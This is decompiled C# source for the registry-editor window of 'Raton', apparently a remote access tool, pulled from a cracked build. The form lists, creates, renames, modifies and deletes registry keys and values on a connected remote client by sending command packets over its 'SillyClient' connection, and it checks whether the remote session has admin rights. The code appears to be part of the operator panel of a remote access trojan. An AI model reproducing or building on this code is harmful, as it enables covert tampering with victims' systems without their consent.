Files
2026-08-27 11:23:13 -06:00

448 lines
17 KiB
C#

// Decompiled with JetBrains decompiler
// Type: Raton.Forms.ClientForms.Monitor.ratonReg
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
using DarkModeForms;
using Microsoft.VisualBasic;
using Raton.Classes;
using Raton.Properties;
using Server.Connection;
using Stuff;
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Drawing;
using System.Threading.Tasks;
using System.Windows.Forms;
#nullable disable
namespace Raton.Forms.ClientForms.Monitor;
public class ratonReg : Form
{
private IContainer components;
public TreeView treeView1;
public DataGridView dataGridView1;
private DataGridViewTextBoxColumn colName;
private DataGridViewTextBoxColumn colType;
private DataGridViewTextBoxColumn colData;
private Timer timer1;
private ContextMenuStrip contextMenuStrip1;
private ToolStripMenuItem newKeyToolStripMenuItem;
private ToolStripMenuItem renameToolStripMenuItem;
private ToolStripMenuItem deleteToolStripMenuItem;
private ContextMenuStrip contextMenuStrip2;
private ToolStripMenuItem modifyToolStripMenuItem;
private ToolStripMenuItem renameToolStripMenuItem1;
private ToolStripMenuItem refreshToolStripMenuItem;
public SillyClient SillyClient { get; set; }
public string Perms { get; set; }
public ratonReg()
{
this.InitializeComponent();
DarkMode.Start((Form) this);
this.SetupTreeView();
this.SetupGrid();
this.treeView1.BeforeExpand += new TreeViewCancelEventHandler(this.TreeView1_BeforeExpand);
}
private void ratonReg_Load(object sender, EventArgs e) => this.timer1.Start();
private void SetupTreeView()
{
this.treeView1.PathSeparator = "\\";
this.treeView1.BeforeExpand += new TreeViewCancelEventHandler(this.TreeView1_BeforeExpand);
}
private void SetupGrid()
{
this.dataGridView1.Columns.Clear();
this.dataGridView1.Rows.Clear();
this.dataGridView1.AllowUserToAddRows = false;
this.dataGridView1.ReadOnly = true;
this.dataGridView1.SelectionMode = DataGridViewSelectionMode.FullRowSelect;
this.dataGridView1.MultiSelect = false;
this.dataGridView1.RowHeadersVisible = false;
this.dataGridView1.AutoSizeColumnsMode = DataGridViewAutoSizeColumnsMode.Fill;
this.dataGridView1.Columns.Add("Name", "RegName");
this.dataGridView1.Columns.Add("Type", "Type");
this.dataGridView1.Columns.Add("Data", "Content");
}
private void treeView1_AfterSelect(object sender, TreeViewEventArgs e)
{
string fullPath = this.GetFullPath(e.Node);
Pack pack = new Pack();
pack.SetString("Packet", "RegistryRequest");
pack.SetString("Action", "GetValues");
pack.SetString("Path", fullPath);
this.SillyClient.Send(pack.Pacc());
}
private void TreeView1_BeforeExpand(object sender, TreeViewCancelEventArgs e)
{
if (e.Node.Nodes.Count != 1 || !(e.Node.Nodes[0].Text == "Loading..."))
return;
string fullPath = this.GetFullPath(e.Node);
Pack pack = new Pack();
pack.SetString("Packet", "RegistryRequest");
pack.SetString("Action", "GetSubKeys");
pack.SetString("Path", fullPath);
this.SillyClient.Send(pack.Pacc());
}
private string GetFullPath(TreeNode node)
{
string fullPath = node.Text;
while (node.Parent != null)
{
node = node.Parent;
fullPath = $"{node.Text}\\{fullPath}";
}
return fullPath;
}
private void timer1_Tick(object sender, EventArgs e)
{
if (this.SillyClient != null && this.SillyClient.isConnected())
return;
this.Close();
}
private async void newKeyToolStripMenuItem_Click(object sender, EventArgs e)
{
if (this.Perms == "User")
{
int num = (int) Messenger.MessageBox("You need administrator to manage keys and values");
}
else
{
if (this.treeView1.SelectedNode == null)
return;
string fullPath = this.GetFullPath(this.treeView1.SelectedNode);
string str = Interaction.InputBox("Enter new key name:", "New Key", "NewKey");
if (string.IsNullOrWhiteSpace(str))
return;
Pack pack = new Pack();
pack.SetString("Packet", "RegistryRequest");
pack.SetString("Action", "NewKey");
pack.SetString("Path", fullPath);
pack.SetString("NewKeyName", str);
this.SillyClient.Send(pack.Pacc());
await Task.Delay(1000);
this.RequestSubKeysRefresh(this.treeView1.SelectedNode.Parent ?? this.treeView1.SelectedNode);
}
}
private void renameToolStripMenuItem_Click(object sender, EventArgs e)
{
if (this.Perms == "User")
{
int num = (int) Messenger.MessageBox("You need administrator to manage keys and values");
}
else
{
if (this.treeView1.SelectedNode == null)
return;
string fullPath = this.GetFullPath(this.treeView1.SelectedNode);
string str = Interaction.InputBox("Enter new key name:", "Rename Key", this.treeView1.SelectedNode.Text);
if (string.IsNullOrWhiteSpace(str))
return;
Pack pack = new Pack();
pack.SetString("Packet", "RegistryRequest");
pack.SetString("Action", "RenameKey");
pack.SetString("Path", fullPath);
pack.SetString("NewKeyName", str);
this.SillyClient.Send(pack.Pacc());
this.RequestSubKeysRefresh(this.treeView1.SelectedNode.Parent ?? this.treeView1.SelectedNode);
}
}
private void deleteToolStripMenuItem_Click(object sender, EventArgs e)
{
if (this.Perms == "User")
{
int num = (int) Messenger.MessageBox("You need administrator to manage keys and values");
}
else
{
if (this.treeView1.SelectedNode == null)
return;
string fullPath = this.GetFullPath(this.treeView1.SelectedNode);
if (Messenger.MessageBox("Are you sure you want to delete this key and all subkeys?", "Delete Key", MessageBoxButtons.YesNo, MessageBoxIcon.Exclamation) != DialogResult.Yes)
return;
Pack pack = new Pack();
pack.SetString("Packet", "RegistryRequest");
pack.SetString("Action", "DeleteKey");
pack.SetString("Path", fullPath);
this.SillyClient.Send(pack.Pacc());
this.RequestSubKeysRefresh(this.treeView1.SelectedNode.Parent ?? this.treeView1.SelectedNode);
}
}
private string GetSelectedNodePath(TreeNode node)
{
List<string> values = new List<string>();
for (TreeNode treeNode = node; treeNode != null; treeNode = treeNode.Parent)
values.Insert(0, treeNode.Text);
return string.Join("\\", (IEnumerable<string>) values);
}
private void modifyValueToolStripMenuItem_Click(object sender, EventArgs e)
{
if (this.Perms == "User")
{
int num = (int) Messenger.MessageBox("You need administrator to manage keys and values");
}
else
{
if (this.dataGridView1.SelectedRows.Count == 0)
return;
string str1 = this.dataGridView1.SelectedRows[0].Cells[0].Value.ToString();
string str2 = this.dataGridView1.SelectedRows[0].Cells[1].Value.ToString();
string DefaultResponse = this.dataGridView1.SelectedRows[0].Cells[2].Value.ToString();
string str3 = Interaction.InputBox($"Modify value for {str1} ({str2}):", "Modify Value", DefaultResponse);
if (string.IsNullOrEmpty(str3))
return;
string fullPath = this.GetFullPath(this.treeView1.SelectedNode);
Pack pack1 = new Pack();
pack1.SetString("Packet", "RegistryRequest");
pack1.SetString("Action", "ModifyValue");
pack1.SetString("Path", fullPath);
pack1.SetString("Name", str1);
pack1.SetString("NewValue", str3);
this.SillyClient.Send(pack1.Pacc());
Pack pack2 = new Pack();
pack2.SetString("Packet", "RegistryRequest");
pack2.SetString("Action", "GetValues");
pack2.SetString("Path", fullPath);
this.SillyClient.Send(pack2.Pacc());
}
}
private void deleteValueToolStripMenuItem_Click(object sender, EventArgs e)
{
if (this.Perms == "User")
{
int num = (int) Messenger.MessageBox("You need administrator to manage keys and values");
}
else
{
if (this.dataGridView1.SelectedRows.Count == 0)
return;
string str = this.dataGridView1.SelectedRows[0].Cells[0].Value.ToString();
string fullPath = this.GetFullPath(this.treeView1.SelectedNode);
if (Messenger.MessageBox($"Are you sure you want to delete the value '{str}'?", "Delete Value", MessageBoxButtons.YesNo, MessageBoxIcon.Exclamation) != DialogResult.Yes)
return;
Pack pack1 = new Pack();
pack1.SetString("Packet", "RegistryRequest");
pack1.SetString("Action", "DeleteValue");
pack1.SetString("Path", fullPath);
pack1.SetString("Name", str);
this.SillyClient.Send(pack1.Pacc());
Pack pack2 = new Pack();
pack2.SetString("Packet", "RegistryRequest");
pack2.SetString("Action", "GetValues");
pack2.SetString("Path", fullPath);
this.SillyClient.Send(pack2.Pacc());
}
}
private void refreshValuesToolStripMenuItem_Click(object sender, EventArgs e)
{
if (this.Perms == "User")
{
int num = (int) Messenger.MessageBox("You need administrator to manage keys and values");
}
else
{
if (this.treeView1.SelectedNode == null)
return;
string fullPath = this.GetFullPath(this.treeView1.SelectedNode);
Pack pack = new Pack();
pack.SetString("Packet", "RegistryRequest");
pack.SetString("Action", "RefreshValues");
pack.SetString("Path", fullPath);
this.SillyClient.Send(pack.Pacc());
}
}
private void RefreshTreeNode(TreeNode node, List<string> subKeys)
{
if (node == null)
return;
node.Nodes.Clear();
if (subKeys == null || subKeys.Count <= 0)
return;
foreach (string subKey in subKeys)
node.Nodes.Add(new TreeNode(subKey)
{
Nodes = {
"Loading..."
}
});
}
private TreeNode FindTreeNodeByPath(string path)
{
string[] strArray = path.Split('\\');
TreeNodeCollection nodes = this.treeView1.Nodes;
TreeNode treeNodeByPath = (TreeNode) null;
foreach (string str in strArray)
{
bool flag = false;
foreach (TreeNode treeNode in nodes)
{
if (treeNode.Text == str)
{
treeNodeByPath = treeNode;
nodes = treeNode.Nodes;
flag = true;
break;
}
}
if (!flag)
return (TreeNode) null;
}
return treeNodeByPath;
}
private void RequestSubKeysRefresh(TreeNode node)
{
if (node == null)
return;
Pack pack = new Pack();
pack.SetString("Packet", "RegistryRequest");
pack.SetString("Action", "GetSubKeys");
pack.SetString("Path", this.GetFullPath(node));
this.SillyClient.Send(pack.Pacc());
}
public void OnReceivedSubKeys(string path, List<string> subKeys)
{
TreeNode treeNodeByPath = this.FindTreeNodeByPath(path);
if (treeNodeByPath == null)
return;
this.RefreshTreeNode(treeNodeByPath, subKeys);
}
protected override void Dispose(bool disposing)
{
if (disposing && this.components != null)
this.components.Dispose();
base.Dispose(disposing);
}
private void InitializeComponent()
{
this.components = (IContainer) new System.ComponentModel.Container();
ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (ratonReg));
this.treeView1 = new TreeView();
this.dataGridView1 = new DataGridView();
this.colName = new DataGridViewTextBoxColumn();
this.colType = new DataGridViewTextBoxColumn();
this.colData = new DataGridViewTextBoxColumn();
this.timer1 = new Timer(this.components);
this.contextMenuStrip1 = new ContextMenuStrip(this.components);
this.contextMenuStrip2 = new ContextMenuStrip(this.components);
this.renameToolStripMenuItem1 = new ToolStripMenuItem();
this.refreshToolStripMenuItem = new ToolStripMenuItem();
this.modifyToolStripMenuItem = new ToolStripMenuItem();
this.newKeyToolStripMenuItem = new ToolStripMenuItem();
this.renameToolStripMenuItem = new ToolStripMenuItem();
this.deleteToolStripMenuItem = new ToolStripMenuItem();
((ISupportInitialize) this.dataGridView1).BeginInit();
this.contextMenuStrip1.SuspendLayout();
this.contextMenuStrip2.SuspendLayout();
this.SuspendLayout();
this.treeView1.BorderStyle = BorderStyle.FixedSingle;
this.treeView1.ContextMenuStrip = this.contextMenuStrip1;
this.treeView1.Location = new Point(14, 14);
this.treeView1.Name = "treeView1";
this.treeView1.Size = new Size(171, 524);
this.treeView1.TabIndex = 0;
this.treeView1.AfterSelect += new TreeViewEventHandler(this.treeView1_AfterSelect);
this.dataGridView1.ColumnHeadersHeightSizeMode = DataGridViewColumnHeadersHeightSizeMode.AutoSize;
this.dataGridView1.Columns.AddRange((DataGridViewColumn) this.colName, (DataGridViewColumn) this.colType, (DataGridViewColumn) this.colData);
this.dataGridView1.ContextMenuStrip = this.contextMenuStrip2;
this.dataGridView1.Location = new Point(192 /*0xC0*/, 14);
this.dataGridView1.Name = "dataGridView1";
this.dataGridView1.Size = new Size(697, 525);
this.dataGridView1.TabIndex = 1;
this.colName.HeaderText = "Name";
this.colName.Name = "colName";
this.colType.HeaderText = "Type";
this.colType.Name = "colType";
this.colData.HeaderText = "Data";
this.colData.Name = "colData";
this.timer1.Tick += new EventHandler(this.timer1_Tick);
this.contextMenuStrip1.Items.AddRange(new ToolStripItem[3]
{
(ToolStripItem) this.newKeyToolStripMenuItem,
(ToolStripItem) this.renameToolStripMenuItem,
(ToolStripItem) this.deleteToolStripMenuItem
});
this.contextMenuStrip1.Name = "contextMenuStrip1";
this.contextMenuStrip1.Size = new Size(120, 70);
this.contextMenuStrip2.Items.AddRange(new ToolStripItem[3]
{
(ToolStripItem) this.modifyToolStripMenuItem,
(ToolStripItem) this.renameToolStripMenuItem1,
(ToolStripItem) this.refreshToolStripMenuItem
});
this.contextMenuStrip2.Name = "contextMenuStrip2";
this.contextMenuStrip2.Size = new Size(114, 70);
this.renameToolStripMenuItem1.Image = (Image) Resources.DeleteAllRows_16x;
this.renameToolStripMenuItem1.Name = "renameToolStripMenuItem1";
this.renameToolStripMenuItem1.Size = new Size(113, 22);
this.renameToolStripMenuItem1.Text = "Delete";
this.renameToolStripMenuItem1.Click += new EventHandler(this.deleteValueToolStripMenuItem_Click);
this.refreshToolStripMenuItem.Image = (Image) Resources.Refresh_greyThin_16x;
this.refreshToolStripMenuItem.Name = "refreshToolStripMenuItem";
this.refreshToolStripMenuItem.Size = new Size(113, 22);
this.refreshToolStripMenuItem.Text = "Refresh";
this.refreshToolStripMenuItem.Click += new EventHandler(this.refreshValuesToolStripMenuItem_Click);
this.modifyToolStripMenuItem.Image = (Image) Resources.ModifyEvent_16x;
this.modifyToolStripMenuItem.Name = "modifyToolStripMenuItem";
this.modifyToolStripMenuItem.Size = new Size(113, 22);
this.modifyToolStripMenuItem.Text = "Modify";
this.modifyToolStripMenuItem.Click += new EventHandler(this.modifyValueToolStripMenuItem_Click);
this.newKeyToolStripMenuItem.Image = (Image) Resources.QueryFolder_16x;
this.newKeyToolStripMenuItem.Name = "newKeyToolStripMenuItem";
this.newKeyToolStripMenuItem.Size = new Size(119, 22);
this.newKeyToolStripMenuItem.Text = "New key";
this.newKeyToolStripMenuItem.Click += new EventHandler(this.newKeyToolStripMenuItem_Click);
this.renameToolStripMenuItem.Image = (Image) Resources.Rename_16x1;
this.renameToolStripMenuItem.Name = "renameToolStripMenuItem";
this.renameToolStripMenuItem.Size = new Size(119, 22);
this.renameToolStripMenuItem.Text = "Rename";
this.renameToolStripMenuItem.Click += new EventHandler(this.renameToolStripMenuItem_Click);
this.deleteToolStripMenuItem.Image = (Image) Resources.DeleteAllRows_16x;
this.deleteToolStripMenuItem.Name = "deleteToolStripMenuItem";
this.deleteToolStripMenuItem.Size = new Size(119, 22);
this.deleteToolStripMenuItem.Text = "Delete";
this.deleteToolStripMenuItem.Click += new EventHandler(this.deleteToolStripMenuItem_Click);
this.AutoScaleDimensions = new SizeF(7f, 15f);
this.AutoScaleMode = AutoScaleMode.Font;
this.ClientSize = new Size(903, 553);
this.Controls.Add((Control) this.dataGridView1);
this.Controls.Add((Control) this.treeView1);
this.Font = new Font("Microsoft JhengHei", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon");
this.MaximizeBox = false;
this.Name = nameof (ratonReg);
this.StartPosition = FormStartPosition.CenterScreen;
this.Text = nameof (ratonReg);
this.Load += new EventHandler(this.ratonReg_Load);
((ISupportInitialize) this.dataGridView1).EndInit();
this.contextMenuStrip1.ResumeLayout(false);
this.contextMenuStrip2.ResumeLayout(false);
this.ResumeLayout(false);
}
}